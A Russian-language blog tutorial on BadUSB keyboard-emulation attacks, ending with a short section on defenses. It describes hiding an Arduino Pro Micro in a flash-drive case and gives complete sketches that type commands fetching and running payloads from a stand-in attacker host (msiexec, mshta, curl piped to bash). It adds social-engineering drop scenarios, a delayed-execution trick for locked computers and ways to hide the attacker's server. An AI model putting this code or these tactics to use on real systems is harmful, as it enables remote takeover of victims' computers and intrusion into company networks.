BadUSB.

29 Декабря 2023

Теория.

BadUSB представляет семейство атак на USB-порт, при которых подключенное устройство заменяет свою личность, имитируя другое устройство. В зависимости от типа устройства существует несколько вариантов этой атаки:

  • HID-устройство (клавиатура или мышь);

  • Сетевая карта Ethernet;

  • Съемный накопитель (mass storage).

Атака с использованием HID-устройства — одна из немногих представленных в книге атак, требующих социального взаимодействия. То есть ее успешность зависит от действий пользователя.

BadUSB-hid представляет собой атаку, при которой подключаемый через USB съемный накопитель программирован таким образом, чтобы имитировать другое устройство, обычно клавиатуру, иногда мышь. Злоумышленник в этом случае использует обманчивый внешний вид, внедряя социальную инженерию.

Чаще всего такие устройства имеют форм-фактор флешки из-за их популярности. Однако из-за компактных размеров BadUSB-устройства оно может быть встроено практически в любое устройство, будь то веб-камера или даже USB-провод (например, O.MG Cable -кабель USB-C для разъема Lightning с вредоносным чипом, с помощью которого можно удаленно взломать подключенное устройство.). Выбор формы устройства зависит от конкретного контекста.

После подключения миниатюрное устройство с контроллером клавиатуры начинает эмулировать случайные нажатия клавиш. Возможность предварительной программировки этих нажатий позволяет использовать атаку для ввода команд в операционную систему через сочетания горячих клавиш, такие как WIN+R или ALT+F2.

BadUSB-hid охватывает следующие типы атак:

• На разблокированные компьютеры — атака осуществляется путем подбрасывания флешки, что приводит к мгновенному удаленному выполнению кода (RCE, Remote Code Execution — критическая уязвимость, которая позволяет злоумышленнику дистанционно запустить вредоносный код в целевой системе по локальной сети или через Интернет.). Для успешной атаки требуется приманка, чтобы пользователь подключил устройство к компьютеру.

• На заблокированные компьютеры — атака происходит незаметным подключением флешки и отложенным RCE. Требуется незаметное размещение устройства и отсутствие контроля над компьютером в момент подключения.

В каждом из этих случаев существует вероятность успешного выполнения удаленного выполнения кода (RCE), что делает эту атаку особенно опасной для злоумышленника. Атака обладает высокой скоростью, так как нажатия клавиш происходят очень быстро, что может привести к тому, что пользователь даже не заметит происходящего.

Реализация аппаратной части.

При разработке устройства BadUSB-hid ключевыми факторами являются его доступность и простота производства. В контексте того, как ожидается использование таких флешек — многократное подбрасывание их злоумышленником — эти устройства рассматриваются как расходные материалы.

Существует несколько известных вариантов эмуляции контроллера клавиатуры, включая Arduino Pro Micro (ATMega32u4), Teensy 2.0 atmel mega32u4-mu, Beetle Leonardo Keyboard USB ATMEGA32U4 и Digispark. Однако, вместо того чтобы заказывать дорогие и привлекающие внимание готовые решения, например, с логотипом атаки Rubber Ducky, злоумышленник может самостоятельно собрать устройство за меньшие затраты. Даже несколько таких «флешек» не представляют для него серьезной стоимостной нагрузки, и он может использовать их в различных ситуациях без привлечения внимания.

В качестве иллюстрации предлагаю рассмотреть плату из семейства Arduino, такую как Arduino Pro Micro. Одним из ее преимуществ является низкая стоимость, а также относительная легкость приобретения в специализированных магазинах электроники внутри страны, что позволяет получить ее в кратчайшие сроки. Однако возможной проблемой может быть приобретение подходящего корпуса. Можно воспользоваться самой дешевой флешкой с соответствующими размерами, извлечь ее содержимое и оставить только корпус. Еще одним вариантом является изготовление необходимого корпуса с использованием 3D-принтера.


Клавиатура в корпусе флешки.

Если Arduino-плата поставляется с Micro-USB разъемом, то необходимо его заменить на классический USB-штекер, поскольку пользователь вряд ли доверит флешке с нетрадиционным интерфейсом. Конструкция платы может не быть приспособлена для пайки USB-A штекера, поэтому можно приклеить его к корпусу флешки, а саму плату припаять к нему проводами. Таким образом, все усилия при извлечении флешки будут направлены на ее корпус, а не на саму плату.

Для уменьшения ширины платы можно отпилить несколько миллиметров с каждого края в области дополнительных контактов, которые не требуются для атаки. Это позволит уместить Arduino Pro Micro в стандартный корпус для флешки, как показано на рисунке

Управление ходом атаки не требует использования дополнительных модулей, датчиков и переключателей, поскольку они не приносят значительной выгоды, но существенно увеличивают стоимость и сложность подготовки атаки.


Клавиатура и флешка.

Пример собранного атакующего устройства показан на рисунке сверху. В целом для успешной атаки необходимо, чтобы атакующая флешка не отличалась внешне от обычной.

Реализация программной части.

Благодаря встроенному загрузчику, Arduino поддерживает повторную прошивку, что позволяет записывать новые команды в устройство в соответствии с каждой конкретной ситуацией. Фактически, в устройство загружается только пользовательский прикладной код.

Программы, или скетчи (в терминологии Arduino), компилируются под процессор AVR и прошиваются через USB с использованием программы Arduino.

apt install arduino 

arduino 

При работе с эмуляцией клавиатуры на Arduino получается примерно

следующий API:

void setup(){ //код, выполняющийся только один раз nри подключении 

                                        //устройства по USB 

        Keyboard.begin(); // включаем режим контроллера клавиатуры 

        delay(2000); // пауза в мс 

        Keyboard.press(KEY_LEFT_SHIFT); //зажать клавиши 

        Keyboard.press(KEY_RETURN); 

        delay(100); 

        Keyboard.releaseAll(); //отпустить зажатые клавиши 

        Keyboard.print("cmd /с evil command"); //набрать текст на клавиатуре 

        Keyboard.write(KEY_RETURN); //нажать клавишу 

  } 

void loop(){ delay(3600000); something(); } //код, выполняющийся постоянно 

Как только код написан, происходит компиляция и заливка программы в контроллер:

Сервис -> Плата: Arduino Micro

Сервис -> Последовательный порт: /dev/ttyACM0

Файл -> Загрузить

Если все прошло успешно, то через несколько секунд флешка перезагрузится и выполнит все запрограммированные нажатия клавиш. Но, понятно, что эти нажатия далеко не простые.

Атака разблокированных компьютеров.

Эта атака была эффектно представлена в сериале «Mr. Robot».

Суть атаки заключается в том, что хакер бросает флешку, которую затем находит и подключает пользователь к определенному компьютеру, находящемуся глубоко в корпоративной или даже промышленной сети. Когда флешку вставляют, она выполняет предварительно программированный код, имитируя нажатия клавиш, что в конечном итоге предоставляет злоумышленнику удаленный доступ.

Ключевая идея атаки заключается в том, что USB-устройство не представляет то, что ожидает пользователь. В данном случае пользователь ожидает, что найденная им на улице флешка является обычным съемным диском, в то время как на самом деле она представляет собой клавиатуру…

Как упоминалось ранее, эта атака требует использования социальной инженерии. Примеры сценариев социальной инженерии могут включать в себя:

• Передачу флешки через секретаря или ресепшн, например, в руках руководства;

• Подбрасывание флешки пользователю в почтовый ящик или рядом с его офисом;

• Передачу флешки напрямую, как будто от сотрудника фирмы-клиента (в случае, если целью является компания, принимающая информацию на флешках).

Теперь рассмотрим, какие именно нажатия можно эмулировать и как быстро и гарантированно выполнить код для получения удаленного доступа. Самый эффективный способ запустить программу удаленного администрирования (Remote Administrative Tool) и установить бэкдор — это использование одной из следующих команд:

msiexec /i http://rce.attacker.tk/shell.msi /quiet

mshta http://rce.attacker.tk/shell.hta

curl -L http://rce.attacker.tk/1.sh | bash

Каждая из этих команд (в зависимости от операционной системы) представляет собой встроенную, краткую команду, автоматически скачивающую и запускающую код по протоколу HTTP (предпочтительно HTTPS).

Перед тем как совершить атаку, потенциальный внешний злоумышленник, скорее всего, не располагает полной информацией о сетевых ограничениях для передачи данных из локальной сети в Интернет. Существует также неполная уверенность в том, что сетевое подключение с компьютера жертвы сможет достичь сервера удаленного управления. Однако выполнение этих команд инициирует четкую последовательность действий, мониторинг которой предоставляет злоумышленнику значительное количество информации:

  1. Поскольку адрес сервера задан по имени, происходит DNS-запрос. Система DNS распределена, и запрос из компьютера жертвы, как правило, будет отправлен в любом случае. Если злоумышленник использует свою DNS-зону, делегированную на подконтрольный сервер, то он зарегистрирует запрос в логах. Это станет сигналом о том, что флешка вставлена, и RCE (Remote Code Execution) произошел. Тем не менее, это не гарантирует, что сетевой доступ возможен.

  2. Если выход в Интернет из корпоративной сети не ограничен, то на сервер злоумышленника поступит HTTP-запрос, который также можно отследить в логах. Это станет сигналом о том, что сетевое соединение возможно, и удаленное управление компьютером жертвы может быть осуществлено. Тем не менее, это также не гарантирует, что защитные механизмы операционной системы позволят непосредственное выполнение программы удаленного управления.

  3. Если открывается окно интерпретатора shell, то атака успешна.


Даже если атака не удастся, злоумышленник получит информацию о правилах доступа в Интернет с компьютеров пользователей и о их осведомленности относительно подобных атак. Эта информация также может быть использована при последующих попытках атаки.

На рисунке видно, что сразу после подключения флешки открывается окно «Выполнить», в котором вводится команда для скачивания и запуска программы удаленного управления с сервера злоумышленника.

В результате, всего через несколько секунд после подключения флешки и запуска backdoor, потенциальный злоумышленник может удаленно управлять системой, в которую вставлена флешка, со всеми вытекающими последствиями.

Чтобы не раскрывать адрес своего сервера, злоумышленник может воспользоваться публичными сервисами, куда можно загрузить файлы и затем скачать их с использованием простого HTTP, например:

  • paste.c-net.org;

  • ix.io.

Атака BadUSB представляет дополнительную сложность при воздействии на компьютеры с неанглоязычными пользователями из-за возможной активации не латинской раскладки клавиатуры, такой как русская или другая. Если нажатия клавиш будут произведены не в латинской раскладке, атака может потерпеть неудачу. Для правильного ввода символов существуют два широко распространенных подхода:

  1. Выполнение нажатий «как есть», а затем переключение языковой раскладки и повторение нажатий.

  2. Использование ALT-кодов (три-четыре нажатия для каждой буквы).

Существует много дебатов относительно того, какой из подходов предпочтительнее. Первый способ универсален и подходит для любой операционной системы, но требует двух попыток. Второй способ более надежен, но применим только к Windows. Тем не менее, следует помнить, что атака BadUSB является платформонезависимой, поскольку клавиатуру можно подключить к любой операционной системе. Если хакер планирует атаковать компанию, где бухгалтеры используют Windows, администраторы — Linux, а программисты — macOS, то он не будет подбрасывать три разных типа флешек в надежде, что потенциальная жертва выберет нужный вариант. Существует универсальный метод, представленный в коде:

void windows_run() { 

  Keyboard.press(KEY_LEFT_GUI); 

  Keyboard.press('r'); 

  delay(250); 

  Keyboard.releaseAll(); 

  Keyboard.print("msiexec /i http://rce.attacker.tk/1.msi /quiet"); 

  delay(100); 

  Keyboard.write(KEY_RETURN); 

} 



void unix_run() { 

  Keyboard.press(KEY_LEFT_ALT); 

  Keyboard.press(KEY_F2); 

  delay(250); 

  Keyboard.releaseAll(); 

  Keyboard.print("curl -L http://rce.attacker.tk/1.sh | bash -"); 

  delay(100); 

  Keyboard.write(KEY_RETURN); 

} 



void switchLang() { 

  Keyboard.press(KEY_LEFT_SHIFT); 

  Keyboard.press(KEY_LEFT_ALT); 

  delay(100); 

  Keyboard.releaseAll(); 

  Keyboard.press(KEY_LEFT_SHIFT); 

  Keyboard.press(KEY_LEFT_CTRL); 

  delay(100); 

  Keyboard.releaseAll(); 

} 



void setup() { 

  Keyboard.begin(); 

  delay(2000); 

  unix_run(); 

  switchLang(); 

  windows_run(); 

  unix_run(); 

} 

Вне зависимости от операционной системы на компьютере, в который вставлена флешка BadUSB, данный код, с использованием быстрых последовательных нажатий клавиш, выполняет две команды — одну для Windows и другую для Linux. Затем происходит переключение языковой раскладки двумя способами, после чего команды повторяются еще раз. Таким образом, осуществляется четыре попытки выполнения команд: две для определения операционной системы и две для определения языковой раскладки.

Атака заблокированных компьютеров.

Ардуино, помимо функции setup(), которая выполняется при подключении устройства, также имеет предопределенную функцию loop(), которая выполняется в бесконечном цикле.

Идея заключается в том, что нажатия клавиш можно инициировать не только в момент подключения, но и повторять их в каждый заранее выбранный промежуток времени.

void setup() { //будет выполнено при подключении устройства по USB 

  Keyboard.begin(); 

  delay(2000); 

  executeCommands(); 

  switchLanguage(); 

  executeCommands(); 

} 



void loop() { 

  delay(3600000); // постоянно выполняющийся код (каждый час) 

  setup(); 

} 

Таким образом, флешку можно незаметно вставить в заблокированный компьютер и программировать ее на отправку нажатий не сразу, а каждые N часов или минут. Это позволяет злоумышленнику поймать момент, когда компьютер будет разблокирован (отложенный RCE). Во время блокировки все нажатия направляются в поле ввода пароля, что делает атаку достаточно незаметной.

Форм-фактор компьютера может существенно влиять на успех атаки. Например, системный блок, спрятанный в темном углу, предоставляет удобную возможность незаметно вставить что-то. Ноутбук, всегда на виду, также может быть подвергнут атаке, например, через подключенную клавиатуру под столом. Важно отметить, что даже если все USB-порты компьютера находятся в поле зрения пользователя, провода могут уходить в различные устройства (мышь, клавиатура и др.), что создает возможность злоумышленнику незаметно вмешиваться.

Такая атака поднимает вопросы безопасности, основанные исключительно на блокировке сеанса работы в операционной системе. Вредоносная флешка, вставленная в компьютер, пытается выполнить нажатия клавиш каждые N минут/часов/дней. Важно понимать, что вредоносный код выполнится в момент разблокировки устройства, что может привести к компрометации внутренней сети компании.

Защита.

Действительно, специализированные программные решения, позволяющие разрешать подключение только заранее утвержденных устройств (white list), могут эффективно предотвращать атаки BadUSB-hid. Эти программы для контроля устройств используют уникальные VendorID и ProductID каждого USB-устройства, что позволяет опознавать доверенные устройства. Программы заранее настраиваются на доверенные устройства, и все остальные USB-устройства, включая BadUSB-флешки, не будут опознаны операционной системой. Эта мера защиты эффективно предотвращает не только атаки BadUSB-hid, но и другие подобные угрозы, обеспечивая общую безопасность рабочих компьютеров.

Повышение осведомленности персонала в вопросах информационной безопасности также играет важную роль. Поскольку атака BadUSB-hid часто имеет социальный характер, пользователи, осведомленные о рисках, создают меньше потенциальных угроз, избегая подключения ненадежных устройств к своим компьютерам.

Дополнительные меры защиты могут включать в себя визуальный осмотр рабочих мест на предмет подключения подозрительных устройств, особенно после посещения посторонних лиц или после долгого отсутствия сотрудника. Кроме того, контроль физического доступа посторонних лиц к рабочим местам пользователей может предотвращать возможные физические атаки.

Таким образом, рекомендуется принимать комплекс мер защиты, включая программные решения, обучение персонала и физические меры контроля, для обеспечения надежной защиты от атак BadUSB-hid.

Emilio Emilio
Опубликовано в Блог Эскобара
Для ответа вы можете авторизоваться